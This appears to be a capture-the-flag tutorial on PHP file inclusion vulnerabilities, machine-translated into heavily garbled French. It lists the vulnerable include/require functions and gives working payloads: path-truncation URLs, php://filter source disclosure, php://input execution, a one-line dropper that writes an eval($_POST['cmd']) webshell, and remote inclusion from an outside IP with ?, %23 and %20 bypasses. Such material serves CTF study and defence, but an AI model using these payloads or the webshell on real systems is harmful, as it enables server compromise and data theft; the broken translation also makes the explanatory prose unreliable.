Souvent, le fichier de test contient des lacunes

Vulnérabilités d'Inclusion de fichiers

Fichier contient l'introduction

Les développeurs d'applications dans le processus d'écriture d'un programme, ne pas écrire comme à plusieurs reprises un même code, de sorte que le code nécessite généralement l'utilisation répétée d'un seul document écrit, lorsque vous voulez utiliser appeler directement le fichier, non la nécessité de ré-écrire, appeler ce processus est appelé contient. Nous avons besoin d'appeler un fichier et ils seront par le fichier de référence de la fonction PHP, si le nom de fichier n'est pas adopté à temps après une vérification raisonnable, opérant ainsi un fichier autre que prévu, il se traduira par la divulgation de fichiers inattendu ou même malveillant injection code

Fonction de danger

fonction PHP dans le fichier qui contient la vulnérabilité des plus courantes sont les quatre suivantes:

require()
require_once()
include()
include_once()

Lors de l'utilisation de ces fonctions comprennent un nouveau fichier, aussi longtemps que le contenu du fichier correspond à la syntaxe de PHP, puis développez un nom de fichier peut être analysé comme PHP, tels que le téléchargement d'un txt./ jpg contient du code malveillant. Les fichiers seront fichier PHP est traité comme l'exécution.

classification

Fichier local contient
  • Drapeau lire directement des fichiers sur la machine cible
Remote File Inclusion
  • Sur le get webshell, voir serveur tiers désigné qui peut exécuter PHP les chevaux de Troie, le fichier de drapeau

idées de résolution de problèmes

Voir le fichier php.ini de configuration globale de

   allow_url_fopen = on/off
   allow_url_include = on/off

Seuls ces deux ne sont ouverts quand il y a un fichier distant contenant

Fichier local contient

  • fichier direct contient drapeau

  • Drapeau en lisant le code PHP pseudo-protocole

  • PHP entrant cheval de Troie get webshell, get drapeau

fichier direct contient drapeau

00% coupe

Terminator: \ x00 ->% 00

longueur du trajet tronqué

La longueur maximale du répertoire sous Windows 256 octets, l'excédent sera mis au rebut, répertoire sous la longueur maximale Linux de 4096 octets, l'excédent sera mis au rebut. exemple:

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

Aucun point de coupure

OS Windows, le nombre de points doivent être plus longue que 256

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

PHP pseudo-protocole

  • file: // - l'accès au système de fichiers local
  • php: // - Pour accéder aux différentes bornes d'entrée et flux de sortie

fichier://

Utilisation: file: // [chemin absolu et le nom du fichier du fichier]

条件 (php.ini): allow_url_fopen = off / on allow_url_include = off / on

php: // filter

utilisation:

?filename=php://filter/convert.base64-encode/resource=xxx.php

条件 (php.ini): allow_url_fopen = off / on allow_url_include = off / on

PHP entrant cheval de Troie get webshell, get drapeau

php: // input

Utilisation File = php :?: // données d'entrée en utilisant la passe POST dans le passé

条件 (php.ini): allow_url_fopen = off / on allow_url_include = on

fichier cheval de Troie (de shell.php)

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

Couteau de cuisine / épée connexion fourmi

Remote File Inclusion

Passer par la marque de question

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

# No. by-pass

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

by-pass de 20%

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

Je suppose que tu aimes

Origine www.cnblogs.com/NPFS/p/12667021.html
conseillé
Classement